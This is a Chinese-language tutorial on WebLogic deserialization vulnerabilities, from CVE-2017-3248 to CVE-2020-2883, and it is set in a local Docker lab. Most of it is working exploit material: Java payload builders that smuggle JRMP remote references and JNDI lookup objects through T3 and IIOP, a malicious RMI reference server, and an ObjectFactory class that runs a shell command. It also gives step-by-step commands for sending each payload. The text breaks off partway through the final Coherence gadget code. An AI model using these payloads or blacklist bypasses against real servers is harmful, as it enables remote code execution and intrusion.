WebLogic 反序列化漏洞(中):JRMP、JNDI 与 IIOP 入口
上篇我们分析了 CVE-2015-4852 和 CC3 的利用链,以及由于修复不完全而出现的 CVE-2016-0638 和 CVE-2016-3510。针对 CVE-2016-0638 和 CVE-2016-3510,WebLogic 采用了更严格的反序列化过滤策略:先检查外层对象是否命中黑名单,再继续检查内层对象。
但是如果攻击者不再从原来的反序列化入口进入,而是寻找一条新的反序列化路径呢?几个月后,CVE-2017-3248 就利用了这样的思路。
要理解这个漏洞,首先需要了解 RMI 和 JRMP。RMI(Remote Method Invocation,远程方法调用)是 Java 提供的一套远程调用机制,可以让一个 Java 程序调用另一个 Java 程序中的远程对象。JRMP(Java Remote Method Protocol,Java 远程方法协议)则是 RMI 使用的一种通信协议,和上篇提到的 T3 类似,二者都运行在 TCP 之上。
1. CVE-2017-3248 的攻击路径
攻击者发现 WebLogic 在处理 T3 协议时,可以进入一条与 JRMP 相关的处理路径,通过 JRMP 协议请求远程对象,根据这一特性,可以构造新的攻击路径:
- 准备一个恶意 JRMP 服务,并将恶意对象放置在该服务中。
- 攻击者构造特殊的 T3 请求,将指向该 JRMP 服务的信息发送给 WebLogic。
- WebLogic 处理 T3 请求时,根据请求中的信息进入 JRMP 处理流程,并主动连接攻击者控制的 JRMP 服务。
- WebLogic 从恶意 JRMP 服务获取并处理攻击者提供的对象数据,进而进入反序列化流程。
- 反序列化过程中触发 Gadget Chain,最终导致命令执行。
站在攻击者的角度看,这 5 个步骤可以分为两个阶段:第一阶段由攻击者执行,通过 T3 把远程引用送进 WebLogic;第二阶段由 WebLogic 主动连接 JRMP 服务,自动获取恶意对象并反序列化。

1.1 第一阶段:T3 中放入远程引用
我们可以创建一个 RMI 远程引用对象,序列化之后通过上篇的 send_t3.py 发给 WebLogic。代码保存为 https://github.com/NHPT/Java-Deserialization-Lab/blob/main/weblogic-deserialize-lab/attacker/jrmp/T3Cve20173248PayloadBuilder.java:
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Proxy;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;
public class T3Cve20173248PayloadBuilder {
public static void main(String[] args) throws Exception {
// 输出文件,后面交给 send_t3.py 作为 T3 消息体发送。
String output = args.length > 0 ? args[0] : "payload.ser";
// 攻击者 JRMP 服务地址。这个地址必须能被 WebLogic 服务端访问到。
String host = args.length > 1 ? args[1] : "127.0.0.1";
int port = args.length > 2 ? Integer.parseInt(args[2]) : 1099;
// 1. TCPEndpoint 用来保存 RMI/JRMP 服务端的地址和端口。
TCPEndpoint endpoint = new TCPEndpoint(host, port);
// 2. 创建一个远程对象编号 ObjID,并和 TCPEndpoint 一起放入 LiveRef(活跃的远程对象引用)。
// 每次运行都会生成新的 ObjID,避免 WebLogic JVM 忽略已经登记过的远程引用。
LiveRef liveRef = new LiveRef(new ObjID(new Random().nextInt()), endpoint, false);
// 3. 把 LiveRef 放进 UnicastRef(可以通过 JRMP 访问的远程引用)。
UnicastRef unicastRef = new UnicastRef(liveRef);
// 4. 通过 RemoteObjectInvocationHandler 用 unicastRef 创建一个 RMI 远程对象动态代理的调用处理器。
RemoteObjectInvocationHandler handler = new RemoteObjectInvocationHandler(unicastRef);
// 5. 创建一个实现 Registry 接口的动态代理,并把 handler 放进代理对象。
Registry proxy = (Registry) Proxy.newProxyInstance(
T3Cve20173248PayloadBuilder.class.getClassLoader(),
new Class[]{Registry.class},
handler
);
// 6. 序列化这个代理对象,生成第一阶段 payload。
try (ObjectOutputStream objectStream = new ObjectOutputStream(new FileOutputStream(output))) {
objectStream.writeObject(proxy);
}
}
}现在编译并运行,生成第一阶段序列化数据:
cd weblogic-deserialize-lab/attacker/jrmp
javac -source 1.7 -target 1.7 T3Cve20173248PayloadBuilder.java
java T3Cve20173248PayloadBuilder payload.ser 你的IP地址 1099接下来在一个终端中启动 TCP 监听,在另一个终端中发送这个文件作为 T3 消息体发送给 WebLogic:
# 监听 JRMP/TCP 连接
nc -lv 1099
# 发送 payload.ser 文件到 WebLogic
python3 ../send_t3.py 127.0.0.1 7001 payload.ser然后就可以看到来自 WebLogic 的连接:

我们成功让 WebLogic 连接了攻击者的 JRMP 服务。
1.2 第二阶段:WebLogic 通过 JRMP 获取恶意对象
现在我们实现一个真正的 JRMP 服务和恶意对象,当 WebLogic 连接后,返回恶意对象。具体流程如下:
- 启动 1099 端口等待 WebLogic 回连。
- 读取 WebLogic 发来的 JRMP/RMI/DGC 请求。
- 构造第二阶段 CC3 对象图。
- 按 RMI 返回格式把 CC3 包进异常对象返回给 WebLogic。
其中 buildCc3Payload() 只是复用上篇 CC3 构造逻辑,重点看 writePayload()。完整代码见 https://github.com/NHPT/Java-Deserialization-Lab/blob/main/weblogic-deserialize-lab/attacker/jrmp/Cve20173248JRMPServer.java。
编译并启动第二阶段 JRMP 服务:
cd weblogic-deserialize-lab/attacker/jrmp
# 编译第二阶段 JRMP 服务
javac -source 1.7 -target 1.7 -cp ../lib/commons-collections-3.2.1.jar Cve20173248JRMPServer.java
# 启动第二阶段 JRMP 服务
java -cp .:../lib/commons-collections-3.2.1.jar Cve20173248JRMPServer 1099 ../EvilTranslet.class编译过程存在警告是正常的,不会影响运行。然后我们再执行第一阶段的过程,把第一阶段的 payload 发给 WebLogic。然后我们就可以看到 JRMP 服务被请求,DGC 请求被触发,第二阶段的 CC3 对象被返回:

然后查看 WebLogic 容器日志可以看到 id 命令被执行的输出:
docker logs weblogic1213-deserialize-lab 2>&1 | grep 'uid'
实际上我们会看到多次 JRMP 请求和多次命令执行结果输出,这是正常现象。一次 T3 payload 只负责把远程引用送进 WebLogic,后续 JRMP 请求由 RMI/DGC 自动发起。WebLogic 恢复 UnicastRef / LiveRef 后会登记远程引用,并通过 DGC 发送 dirty() 请求、登记、重试或续约都可能产生多次 JRMP 请求。由于攻击端 JRMP 服务每次都会返回第二阶段 CC3 对象,所以命令也可能被执行多次。现在我们知道 CVE-2017-3248 的完整执行流程了吧:
- WebLogic 反序列化第一阶段远程引用
- 根据 UnicastRef 中的地址连接攻击端 JRMP 服务
- JRMP 服务端返回包含 CC3 对象图的 JRMP 响应
- WebLogic RMI 客户端反序列化响应对象
- CC3 加载恶意类
- 执行 id
2. 远程引用的后续绕过
CVE-2017-3248 的第一阶段使用了 Registry 动态代理实现。Oracle 的修复方式是在动态代理接口恢复阶段增加检查:如果代理实现了 java.rmi.registry.Registry,就直接拒绝反序列化。但这本质上还是黑名单过滤,所以聪明的黑客又找到了绕过方法——CVE-2018-2628。
2.1 使用 Activator 接口
CVE-2018-2628 的思路很直接:既然 Registry 接口被加入黑名单,那就换一个同样属于 RMI 体系、但没有被禁止的接口,例如 java.rmi.activation.Activator。代码上只需要替换动态代理接口,其他保持不变 。代码保存为 https://github.com/NHPT/Java-Deserialization-Lab/blob/main/weblogic-deserialize-lab/attacker/jrmp/T3Cve20182628PayloadBuilder.java:
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Proxy;
import java.rmi.activation.Activator;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;
public class T3Cve20182628PayloadBuilder {
public static void main(String[] args) throws Exception {
// 输出文件,后面交给 send_t3.py 作为 T3 消息体发送。
String output = args.length > 0 ? args[0] : "payload.ser";
// 攻击者 JRMP 服务地址。这个地址必须能被 WebLogic 服务端访问到。
String host = args.length > 1 ? args[1] : "127.0.0.1";
int port = args.length > 2 ? Integer.parseInt(args[2]) : 1099;
// 1. TCPEndpoint 用来保存 RMI/JRMP 服务端的地址和端口。
TCPEndpoint endpoint = new TCPEndpoint(host, port);
// 2. 创建一个远程对象编号 ObjID,并和 TCPEndpoint 一起放入 LiveRef(活跃的远程对象引用)。
// 每次运行都会生成新的 ObjID,避免 WebLogic JVM 复用已经登记过的远程引用。
LiveRef liveRef = new LiveRef(new ObjID(new Random().nextInt()), endpoint, false);
// 3. 把 LiveRef 放进 UnicastRef(可以通过 JRMP 访问的远程引用)。
UnicastRef unicastRef = new UnicastRef(liveRef);
// 4. 通过 RemoteObjectInvocationHandler 用 unicastRef 创建一个 RMI 远程对象动态代理的调用处理器。
RemoteObjectInvocationHandler handler = new RemoteObjectInvocationHandler(unicastRef);
// 5. 创建一个实现 Activator 接口的动态代理,并把 handler 放进代理对象。
// 这里和 CVE-2017-3248 的差异只有:Registry 接口换成了 Activator 接口。
Activator proxy = (Activator) Proxy.newProxyInstance(
T3Cve20182628PayloadBuilder.class.getClassLoader(),
new Class[]{Activator.class},
handler
);
// 6. 序列化这个代理对象,生成第一阶段 payload。
try (ObjectOutputStream objectStream = new ObjectOutputStream(new FileOutputStream(output))) {
objectStream.writeObject(proxy);
}
}
}运行时仍然复用 1.2 的 JRMP 服务。先启动 JRMP 服务:
cd weblogic-deserialize-lab/attacker/jrmp
java -cp .:../lib/commons-collections-3.2.1.jar Cve20173248JRMPServer 1099 ../EvilTranslet.class然后在另一个终端生成 Activator 版本的第一阶段 payload,并通过 T3 发给 WebLogic:
cd weblogic-deserialize-lab/attacker/jrmp
# 编译 Activator 版本的第一阶段 payload
javac -source 1.7 -target 1.7 T3Cve20182628PayloadBuilder.java
# 生成 Activator 版本的第一阶段 payload 并通过 T3 发给 WebLogic
java T3Cve20182628PayloadBuilder cve-2018-2628.ser 你的IP地址 1099
python3 ../send_t3.py 127.0.0.1 7001 cve-2018-2628.ser发送序列化数据后,我们可以看到 WebLogic 连接了攻击端 JRMP 服务,然后就可以在 WebLogic 容器日志中看到 id 命令被执行的输出:

2.2 封装远程引用相关对象
Oracle 通过继续补黑名单检查更多 RMI 动态代理接口来增强黑名单检测。聪明的你和攻击者都想到了和上篇类似的封装绕过:把远程引用相关对象包进另一个对象里,再把这个外层对象送进 WebLogic。不同的是,上篇封装的是最终 gadget,这里封装的是会触发 JRMP 回连的远程引用相关对象。这就是 CVE-2018-2893 的思路。
我们可以复用上篇 StreamMessageImpl 的封装方法,但内层对象要换掉:
- 上篇:用
StreamMessageImpl封装 CC3 对象图 - 本文:用
StreamMessageImpl封装RemoteObjectInvocationHandler,里面保存指向攻击端 JRMP 服务的UnicastRef
前 4 步仍然和 2.1 一样,创建 RemoteObjectInvocationHandler,第 5 步把 RemoteObjectInvocationHandler 序列化后使用 StreamMessageImpl 封装,然后写入文件生成第一阶段 payload,关键代码如下:
...
// 5. 不再创建动态代理,而是把 RemoteObjectInvocationHandler 序列化后放进 StreamMessageImpl。
byte[] payloadBytes = wrapWithStreamMessage(serialize(handler));
// 6. 把外层 StreamMessageImpl 的序列化数据写入文件,生成第一阶段 payload。
try (FileOutputStream out = new FileOutputStream(output)) {
out.write(payloadBytes);
}
...
// 把内层对象封装进 StreamMessageImpl,生成最终要通过 T3 发送的外层数据。
private static byte[] wrapWithStreamMessage(byte[] innerBytes) throws Exception {
// 5.1 StreamMessageImpl 读取消息体时,先读数据长度,再读真正的内层对象数据。
byte[] payloadBytes;
try (ByteArrayOutputStream byteStream = new ByteArrayOutputStream();
DataOutputStream dataStream = new DataOutputStream(byteStream)) {
dataStream.writeInt(innerBytes.length);
dataStream.write(innerBytes);
payloadBytes = byteStream.toByteArray();
}
// 5.2 把内层远程引用数据放进 StreamMessageImpl 的 payload 字段。
StreamMessageImpl wrapper = new StreamMessageImpl();
PayloadStream payload = (PayloadStream) PayloadFactoryImpl.createPayload(
new DataInputStream(new ByteArrayInputStream(payloadBytes))
);
wrapper.setPayload(payload);
// 5.3 先正常序列化外层 StreamMessageImpl。
byte[] outerBytes = serialize(wrapper);
// 5.4 WebLogic 12.1.3 只有消息体版本为 1 时,才会反序列化内层对象。
int bodyVersionOffset = findBodyVersionOffset(outerBytes, innerBytes.length);
outerBytes[bodyVersionOffset] = 1;
return outerBytes;
}
...完整代码见 https://github.com/NHPT/Java-Deserialization-Lab/blob/main/weblogic-deserialize-lab/attacker/jrmp/T3Cve20182893PayloadBuilder.java。仍然可以复用 1.2 的 JRMP 服务。先启动 JRMP 服务:
cd weblogic-deserialize-lab/attacker/jrmp
java -cp .:../lib/commons-collections-3.2.1.jar Cve20173248JRMPServer 1099 ../EvilTranslet.class再生成 CVE-2018-2893 的第一阶段 payload,并通过 T3 发送:
cd weblogic-deserialize-lab/attacker/jrmp
javac -source 1.7 -target 1.7 -cp ../lib/weblogic.server.merged.jar:../lib/javax.jms_1.1.4.jar T3Cve20182893PayloadBuilder.java
java -cp .:../lib/weblogic.server.merged.jar:../lib/javax.jms_1.1.4.jar T3Cve20182893PayloadBuilder cve-2018-2893.ser 你的IP地址 1099
python3 ../send_t3.py 127.0.0.1 7001 cve-2018-2893.ser2.3 漏网之鱼
在 CVE-2018-2893 的修复中,Oracle 扩展了反序列化黑名单,开始限制下面这些 RMI 远程引用相关类:
- java.rmi.server.RemoteObjectInvocationHandler
- java.rmi.server.UnicastRemoteObject
因为 UnicastRemoteObject 也是 RMI 体系里的远程对象类,它也可以保存远程引用,达到和 RemoteObjectInvocationHandler 类似的效果,所以也被加入了黑名单。
然而,这种基于类名黑名单的防御依然不完备。攻击者很快找到了新的绕过方法——CVE-2018-3245:利用同样能携带远程引用(如内部的 UnicastRef 成员变量)、但出于 RMI 通信需要而未被黑名单覆盖的 RMI 客户端代理类,例如 RMIConnectionImpl_Stub 和 ReferenceWrapper_Stub。通过反序列化这些“合法”的代理对象,远程引用被再次带入 WebLogic 内存,从而成功绕过了对特定 RMI 引用类的封锁。
以 RMIConnectionImpl_Stub 为例,我们看看如何实现这一过程,代码保存为 https://github.com/NHPT/Java-Deserialization-Lab/blob/main/weblogic-deserialize-lab/attacker/jrmp/T3Cve20183245PayloadBuilder.java:
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import javax.management.remote.rmi.RMIConnectionImpl_Stub;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.rmi.server.ObjID;
import java.util.Random;
public class T3Cve20183245PayloadBuilder {
public static void main(String[] args) throws Exception {
// 输出文件,后面交给 send_t3.py 作为 T3 消息体发送。
String output = args.length > 0 ? args[0] : "payload.ser";
// 攻击者 JRMP 服务地址。这个地址必须能被 WebLogic 服务端访问到。
String host = args.length > 1 ? args[1] : "127.0.0.1";
int port = args.length > 2 ? Integer.parseInt(args[2]) : 1099;
// 1. TCPEndpoint 用来保存 RMI/JRMP 服务端的地址和端口。
TCPEndpoint endpoint = new TCPEndpoint(host, port);
// 2. 创建一个远程对象编号 ObjID,并和 TCPEndpoint 一起放入 LiveRef(活跃的远程对象引用)。
// 每次运行都会生成新的 ObjID,避免 WebLogic JVM 复用已经登记过的远程引用。
LiveRef liveRef = new LiveRef(new ObjID(new Random().nextInt()), endpoint, false);
// 3. 把 LiveRef 放进 UnicastRef(可以通过 JRMP 访问的远程引用)。
UnicastRef unicastRef = new UnicastRef(liveRef);
// 4. 不再使用 RemoteObjectInvocationHandler,改用 RMIConnectionImpl_Stub 保存远程引用。
RMIConnectionImpl_Stub stub = new RMIConnectionImpl_Stub(unicastRef);
// 5. 序列化这个 Stub 对象,生成第一阶段 payload。
try (ObjectOutputStream objectStream = new ObjectOutputStream(new FileOutputStream(output))) {
objectStream.writeObject(stub);
}
}
}继续复用 1.2 的 JRMP 服务,然后生成 CVE-2018-3245 的第一阶段 payload,并通过 T3 发送:
cd weblogic-deserialize-lab/attacker/jrmp
javac -source 1.7 -target 1.7 T3Cve20183245PayloadBuilder.java
java T3Cve20183245PayloadBuilder cve-2018-3245.ser 你的IP地址 1099
python3 ../send_t3.py 127.0.0.1 7001 cve-2018-3245.ser这个漏洞看起来比 CVE-2017-3248 还简单,或许攻击者早都发现了,只是没有在 2017 年公开出来。回顾这四个漏洞我们可以看到 JRMP 在 WebLogic 反序列化漏洞中的攻防历程:
- CVE-2017-3248:用
Registry动态代理实现携带RemoteObjectInvocationHandler远程引用。 - CVE-2018-2628:换成
Activator接口继续携带远程引用。 - CVE-2018-2893:用包装对象把
RemoteObjectInvocationHandler藏到里面。 - CVE-2018-3245:直接换成能保存远程引用的
RMIConnectionImpl_Stub对象携带远程引用。
3. JNDI:从远程引用到命名查找
经过前面几轮修复,Oracle 已经限制了 Registry、Activator、RemoteObjectInvocationHandler、UnicastRemoteObject 等可以携带远程引用的 RMI 对象。JRMP 远程引用这条路越来越难走,于是攻击者又探索出了新的触发方式——CVE-2018-3191:只在对象里放一个查找名称,让 WebLogic 自己去外部服务查找对象,这就是 JNDI 路线。
JNDI(Java Naming and Directory Interface)是 Java 提供的命名和目录查找 API。程序给它一个名称,它再根据这个名称去查找对象,就像我们用 https://blog.hackall.cn/pentestvuln/Apache-Shiro-rememberMe-Cookie-RCE.html 向服务器请求一个资源一样,JNDI 也通过类似格式的 URL(如 rmi://evil.com:1099/Exploit)向命名服务请求一个 Java 对象。
常见的 JNDI 协议 URL 格式包括:
rmi://host:port/name— 从 RMI 注册表中查找名为 name 的远程对象引用。ldap://host:port/dn— 按目录路径(DN)从 LDAP 服务器中查找条目,可能返回序列化对象或远程代码引用。iiop://host:port/name— 从 CORBA(公共对象请求代理体系结构) 命名服务中查找对象引用。
3.1 第一阶段:T3 中放入 JNDI 查找对象
CVE-2018-3191 仍然从 T3 进入,但第一阶段对象不再是 RMI 动态代理,也不再直接携带 RemoteRef。它使用的是 WebLogic classpath 中的事务管理类 JtaTransactionManager。在当前实验环境中,这个类来自 weblogic.server.merged.jar,完整类名是 com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager。
JtaTransactionManager 有一个 userTransactionName 字段,用来保存事务对象的 JNDI 名称。攻击者把这个字段设置成外部地址,例如 rmi://ATTACKER_HOST:1099/exp,WebLogic 恢复对象时就会根据这个字段发起 JNDI lookup。
我们用下面代码实现第一阶段 payload,代码保存为 https://github.com/NHPT/Java-Deserialization-Lab/blob/main/weblogic-deserialize-lab/attacker/jndi/T3Cve20183191PayloadBuilder.java:
import com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
public class T3Cve20183191PayloadBuilder {
public static void main(String[] args) throws Exception {
// 输出文件,后面交给 send_t3.py 作为 T3 消息体发送。
String output = args.length > 0 ? args[0] : "payload.ser";
// 攻击端 JNDI 地址。这个地址必须能被 WebLogic 服务端访问到。
String jndiUrl = args.length > 1 ? args[1] : "rmi://127.0.0.1:1099/exp";
// 1. JtaTransactionManager 是 WebLogic classpath 中自带的事务管理类。
JtaTransactionManager manager = new JtaTransactionManager();
// 2. userTransactionName 会在反序列化恢复对象时被拿去做 JNDI lookup。
manager.setUserTransactionName(jndiUrl);
// 3. 关闭本地自动探测,只保留 userTransactionName 触发的外部 JNDI 查找。
manager.setAutodetectUserTransaction(false);
manager.setAutodetectTransactionManager(false);
// 4. 序列化这个对象,生成第一阶段 payload。
try (ObjectOutputStream objectStream = new ObjectOutputStream(new FileOutputStream(output))) {
objectStream.writeObject(manager);
}
}
}这里把 JNDI 地址放到 JtaTransactionManager 对象的 userTransactionName 字段里,然后序列化生成第一阶段 payload,WebLogic 会在反序列化恢复对象时根据这个字段发起 JNDI lookup。
3.2 第二阶段:JNDI 服务返回恶意 Reference
和 JRMP 第二阶段不同,这里的 JNDI 第二阶段包含 RMI 服务和 HTTP 服务:
- RMI 服务:响应 JNDI lookup,返回指向恶意类的引用(Reference),告诉 WebLogic 去哪里加载恶意类。
- HTTP 服务:提供这个恶意类,WebLogic 加载后执行命令。
我们先实现 RMI 服务,代码保存为 https://github.com/NHPT/Java-Deserialization-Lab/blob/main/weblogic-deserialize-lab/attacker/jndi/JndiRmiReferenceServer.java:
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class JndiRmiReferenceServer {
public static void main(String[] args) throws Exception {
// RMI Registry 监听端口,WebLogic 会通过 rmi://host:port/name 访问这里。
int port = args.length > 0 ? Integer.parseInt(args[0]) : 1099;
// 恶意 ObjectFactory 的 HTTP 地址,必须以 / 结尾。
String codebase = args.length > 1 ? args[1] : "http://127.0.0.1:8000/";
// JNDI 名称,和 payload 里的 rmi://host:port/name 最后一段保持一致。
String name = args.length > 2 ? args[2] : "exp";
// 目标 lookup 到这个 Reference 后,会从 codebase 加载恶意类 `EvilJndiFactory`。
Reference reference = new Reference("EvilJndiFactory", "EvilJndiFactory", codebase);
// 创建 RMI 注册类并绑定 ReferenceWrapper 到 JNDI 名称。
Registry registry = LocateRegistry.createRegistry(port);
registry.bind(name, new ReferenceWrapper(reference));
System.out.println("JNDI RMI server listening: rmi://0.0.0.0:" + port + "/" + name);
System.out.println("HTTP codebase: " + codebase);
Thread.sleep(Long.MAX_VALUE);
}
}当 WebLogic 通过 rmi://攻击端IP:1099/exp 发起 lookup 请求时,RMI 服务返回一个 Reference,告诉 WebLogic 去 codebase 加载恶意类 EvilJndiFactory。
这里的触发机制和前面不同,所以不需要使用 CC 链了,可以直接在 ObjectFactory 里执行命令。我们需要重新实现一个恶意类,代码保存为 https://github.com/NHPT/Java-Deserialization-Lab/blob/main/weblogic-deserialize-lab/attacker/jndi/EvilJndiFactory.java:
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;
public class EvilJndiFactory implements ObjectFactory {
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx,
Hashtable<?, ?> environment)
throws Exception {
// 目标加载这个 ObjectFactory 后会调用这里。
new ProcessBuilder("/bin/sh", "-c", "id").inheritIO().start();
return null;
}
}我们分 4 步完成攻击实验:
先编译 JNDI 相关代码:
cd weblogic-deserialize-lab/attacker/jndi javac -source 1.7 -target 1.7 -cp ../lib/weblogic.server.merged.jar T3Cve20183191PayloadBuilder.java JndiRmiReferenceServer.java EvilJndiFactory.java- 启动 HTTP 服务,给 WebLogic 下载
EvilJndiFactory.class:python3 -m http.server 8000 再开一个终端启动 JNDI RMI 服务:
cd weblogic-deserialize-lab/attacker/jndi # 为了看到 RMI 服务的 lookup 请求,增加 -Dsun.rmi.transport.logLevel=VERBOSE 参数 java -Dsun.rmi.transport.logLevel=VERBOSE JndiRmiReferenceServer 1099 http://你的IP地址:8000/ exp最后生成第一阶段 payload,并通过 T3 发送:
cd weblogic-deserialize-lab/attacker/jndi java -cp .:../lib/weblogic.server.merged.jar T3Cve20183191PayloadBuilder cve-2018-3191.ser rmi://你的IP地址:1099/exp python3 ../send_t3.py 127.0.0.1 7001 cve-2018-3191.ser
然后我们就可以看到 WebLogic 请求攻击端的 RMI 服务:

接着请求了 HTTP 服务获取 EvilJndiFactory.class:

我们可以看到容器日志中 WebLogic 执行了 id 命令:

4. IIOP:从 T3 入口换到 IIOP 入口
随着 T3 协议的相关攻击路径被逐步封堵,攻击者在探索过程中发现了新的入口——IIOP。IIOP(Internet Inter-ORB Protocol)也是 WebLogic 支持的远程对象通信协议,和 T3 一样运行在 TCP 之上。前面讲过的远程引用、JNDI lookup、gadget 对象等利用思路,同样可以通过 IIOP 入口触发。
4.1 通过 IIOP 送入 JNDI 查找对象
T3 协议不断加强的修复措施,恰好凸显了 IIOP 协议一直以来存在的安全短板:T3 协议在反序列化时,会使用 resolveClass 方法进行过滤。这个方法会递归检查一个类及其所有父类是否在黑名单中,而 IIOP 只检查当前类的类名,而不会去检查其父类,这就导致了 CVE-2020-2551 的产生:危险的 JtaTransactionManager 类本身不在黑名单中,但其父类 AbstractPlatformTransactionManager早已被列入黑名单。T3 协议会全部拦截,但 IIOP 协议只看到 JtaTransactionManager 这个名字,便放行了。
当前 lab 在 7001 端口同时启动了 T3 入口和 IIOP 入口。这里我们不再使用 Python 实现 IIOP 客户端,而是使用 Java 标准 JNDI API 加上 WebLogic 提供的 WLInitialContextFactory 来连接 WebLogic。我们用一份最小客户端代码实现 IIOP 入口。代码保存为 https://github.com/NHPT/Java-Deserialization-Lab/blob/main/weblogic-deserialize-lab/attacker/iiop/IiopCve20202551Client.java:
import com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager;
import javax.naming.Context;
import javax.naming.InitialContext;
import java.lang.reflect.Method;
import java.util.Hashtable;
public class IiopCve20202551Client {
public static void main(String[] args) throws Exception {
// 这里我们直接用类似 HTTP 的 URL 格式,把 IIOP 入口地址写在命令行参数里。
String target = args.length > 0 ? args[0] : "iiop://127.0.0.1:7001";
// 攻击端 JNDI 地址,WebLogic 反序列化对象后会访问这里。
String jndiUrl = args.length > 1 ? args[1] : "rmi://127.0.0.1:1099/exp";
// 1. 使用 WebLogic 提供的 WLInitialContextFactory 创建 JNDI 上下文。
Hashtable<String, String> environment = new Hashtable<String, String>();
environment.put(Context.INITIAL_CONTEXT_FACTORY, "weblogic.jndi.WLInitialContextFactory");
// 2. 然后通过 iiop:// 连接 IIOP 入口。
environment.put(Context.PROVIDER_URL, target);
Context context = new InitialContext(environment);
// 3. 通过 IIOP 获取 WebLogic 暴露的 MEJB 远程对象,用于后续调用 remove 方法。
Object mejb = context.lookup("ejb/mgmt/MEJB");
// 4. 构造会触发 JNDI lookup 的对象,使 WebLogic 会在反序列化恢复对象时根据 userTransactionName 触发的外部 JNDI 查找,逻辑和第 3 节相同。
JtaTransactionManager manager = new JtaTransactionManager();
manager.setUserTransactionName(jndiUrl);
manager.setAutodetectUserTransaction(false);
manager.setAutodetectTransactionManager(false);
// 5. 反射获取 MEJB 远程对象上的 remove(Object) 方法,然后调用 remove.invoke() 方法,把 manager 作为 IIOP 调用参数送到 WebLogic。
Method remove = mejb.getClass().getMethod("remove", Object.class);
remove.invoke(mejb, manager);
}
}第二阶段仍然复用第 3 节的 JNDI RMI 服务和 HTTP 服务。先启动这两个服务:
cd weblogic-deserialize-lab/attacker/jndi
java -Dsun.rmi.transport.logLevel=VERBOSE JndiRmiReferenceServer 1099 http://你的IP地址:8000/ exp
python3 -m http.server 8000然后再运行 IIOP 客户端给 WebLogic 发送 JNDI 查找对象:
cd weblogic-deserialize-lab/attacker/iiop
javac -source 1.7 -target 1.7 -cp ../lib/weblogic.server.merged.jar IiopCve20202551Client.java
java -cp .:../lib/weblogic.server.merged.jar IiopCve20202551Client iiop://127.0.0.1:7001 rmi://你的IP地址:1099/exp运行后会产生异常,因为我们没有处理异常,但这并不影响我们的攻击。
4.2 通过 IIOP 触发 Coherence 链
同一时期,攻击者还发现了另一条不依赖 JNDI 的路线——CVE-2020-2555:通过 T3 或 IIOP 送入 WebLogic 自带的 Coherence gadget。Coherence 是 Oracle 的分布式缓存组件,WebLogic 完整安装中通常会带有它的相关类,包名以 com.tangosol 开头。CVE-2020-2555 使用 BadAttributeValueExpException 触发 LimitFilter 的 toString() 方法,这会调用其内部的 ValueExtractor 提取对象的属性,因此可以进一步调用 ChainedExtractor 和 ReflectionExtractor,最终通过反射执行目标方法。
Oracle 修复该漏洞后,攻击者发现可以更换调用链的入口,而保留后半段的 Coherence Gadget。CVE-2020-2883 利用 PriorityQueue 在反序列化过程中触发 ExtractorComparator.compare(),再由 ExtractorComparator 调用 ChainedExtractor 和 ReflectionExtractor,最终通过反射调用目标方法,从而绕过了 CVE-2020-2555 针对原有触发路径的修复。两条利用链的核心区别在于触发方式不同,而后半段的 Coherence Gadget 基本保持一致:
- CVE-2020-2555:
BadAttributeValueExpException触发LimitFilter.toString(),进而调用ChainedExtractor和ReflectionExtractor。 - CVE-2020-2883:
PriorityQueue.readObject()触发ExtractorComparator.compare(),再由ExtractorComparator调用ChainedExtractor和ReflectionExtractor。
本节以 CVE-2020-2883 为例,学习一下 Coherence 链的利用方法。代码中要用到三个 Coherence 类:
ExtractorComparator:比较两个对象前,会先用 extractor 从对象里取值。ChainedExtractor:可以把多个 extractor 串起来,前一个 extractor 的结果会交给后一个继续处理。ReflectionExtractor:可以反射调用对象上的指定方法。
Java 标准库 java.util 包中的 PriorityQueue 类在反序列化时会自动执行堆排序,间接调用其内部的 Comparator.compare 方法来比较元素。把上边这三个类按 CC 链的思路包装放入 PriorityQueue 中,我们就可以构造 gadget 链执行任意代码,具体流程如下:
- 把要调用的方法(如
ProcessBuilder(...).inheritIO().start())及其参数封装进ReflectionExtractor。 - 然后把多个
ReflectionExtractor按顺序放入ChainedExtractor。 - 接着把
ChainedExtractor放入ExtractorComparator中。 - 最后把
ExtractorComparator作为Comparator对象放入PriorityQueue。
在反序列化时,就会触发以下流程:
- 反序列化 PriorityQueue 时,调用 readObject 方法恢复堆结构。
- 恢复堆结构时,会调用
Comparator.compare()方法来比较元素。 - 触发
ExtractorComparator,间接调用ChainedExtractor。 ChainedExtractor中预先包装的多个ReflectionExtractor依次被调用,通过反射执行指定的方法。- 最后执行我们指定的命令。
这和前面 CC 链的思想一样:反序列化本身只是入口,真正执行命令的是目标 classpath 中可被串起来的 gadget。区别是这次不用 Commons Collections,而是使用 WebLogic 自带的 Coherence 类。
我们用一段简洁的代码来实现这个 Coherence 链。当前 lab 的攻击端需要 coherence.jar 才能编译这段代码,本文已经把 WebLogic 安装包里的 coherence.jar 放到 weblogic-deserialize-lab/attacker/lib/coherence.jar。代码保存为 https://github.com/NHPT/Java-Deserialization-Lab/blob/main/weblogic-deserialize-lab/attacker/iiop/IiopCve20202883Client.java:
import com.tangosol.util.ValueExtractor;
import com.tangosol.util.comparator.ExtractorComparator;
import com.tangosol.util.extractor.ChainedExtractor;
import com.tangosol.util.extractor.ReflectionExtractor;
import javax.naming.Context;
import javax.naming.InitialContext;
